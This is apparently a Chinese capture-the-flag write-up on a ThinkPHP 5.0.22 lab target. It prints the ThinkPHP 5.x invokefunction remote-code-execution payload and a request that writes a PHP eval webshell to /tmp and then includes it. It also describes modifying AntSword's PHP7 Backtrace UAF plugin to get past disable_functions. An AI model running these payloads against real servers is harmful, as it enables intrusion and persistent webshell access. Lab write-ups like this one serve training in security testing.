一次魔改蚁剑bypass_disable_functions插件的打靶记录
简单但是需要细心的打靶记录哈哈,蛮有趣的大佬轻点锤
一次魔改蚁剑bypass_disable_functions插件的打靶记录
一、解题过程
①:尝试通用payload
url:http://1.117.101.154:30080/
源码:http://1.117.101.154:30080/thinkphp_5.0.22_with_extend.zip
已知:
读phpinfo():
tk5.x通用payload:
?s=Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
得到disable_functions
1 | set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle |
可利用命令执行函数(均被ban掉):
exec() x
shell_exec() x
反引号` x
passthru() x
popen() x
proc_open() x
pcntl_exec() :需要开启pcntl扩展 x
COM组件:Wscript.Shell和Shell.Application x
dl():通过加载自定义php扩展突破 disable_fucnitons指令的限制 x利用PHP内核变量绕过disable_functions x
文件包含通用payload:
1 | http://1.117.101.154:30080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/tw.php&vars[1][]=%3C%3Fphp%20echo(%22hello%20hacker%22)%3B%40eval(%24_POST%5B'tw'%5D)%3B%3F%3E |
这一次包含能够返回你写入的字符串长度
包含之后再次使用包含来读取上一次包含返回的内容
1 | http://1.117.101.154:30080/?s=Index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/tw.php |
访问包含的webshell一句话木马,发现能够被解析,掏出antsword直接连
直接跳到根目录查看flag.flag文件
flag: flag{FS_ROOT_49mAIg5AbsqbC7nP}
正当我长舒一口气的时候看到一个getrceflag的可进行文件:
进入终端执行看看:
发现限制了根目录,这时候又看到了还有一个 hint:
1 | 恭喜你成功RCE! |
直接使用蚁剑bypass disable_functions插件,这里就需要魔改一下因为被ban的函数太多了:
1 | set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle |
②:魔改细节请往后看
加载魔改后的插件和对应的exp,点击开始:
跳转到root目录,执行getrceflag程序
获得第二个flag:
flag{RCE_2A7o4zrC2b9yviVp}
这个靶场到这儿就结束啦!!!下面就是插件魔改的详细过程。
二、魔改插件过程
①:被ban函数的位置以及确认exp
首先确认php版本,加载插件:
php7.2,先大概锁定两个exp: PHP7 Backtrace UAF
和PHP7 GC with Certain Destructors UAF
正常点击开始并不能达到bypass的作用,再结合提示(hint)所说:
1 | 恭喜你成功RCE! |
查看被ban掉的函数,在蚁剑的插件源码(位于antData\plugins\as_bypass_php_disable_functions-master\payload.js)中查找disable_function中下列函数
1 | str_repeat,str_shuffle |
为什么仅排查这2个函数,其实对Bypass disable_function有一定查阅的师傅肯定能发现这2个函数之前的函数都是disable_function很常见的函数。
在PHP7_Backtrace_UAF_EXP源码中找到
str_repeat
str_shuffle
找到了被ban函数的位置和确认了exp,那么下一步就是如何魔改exp了。
②:确认函数功能并手动实现
第一步先确认两个函数的功能:
str_repeat
:
1 | #定义和用法 |
str_shuffle
:
1 | #定义和用法 |
确认了函数功能下面就是手动实现的过程了,str_repeat()
就是一个循环就能替代,而str_shuffle()
就是为了随机打乱str_repeat('A', 79)
所生成的数,这里生成的为79个相同的A,打乱与否并不重要,所以str_shuffle()
完全可以舍弃掉,那么接下啦就是手动实现str_repeat()
的过程和结果啦:
保存之后重启蚁剑(antsword),加载PHP7_Backtrace_UAF_EXP插件
绕过disable_function,exp利用成功。到此本文就结束啦!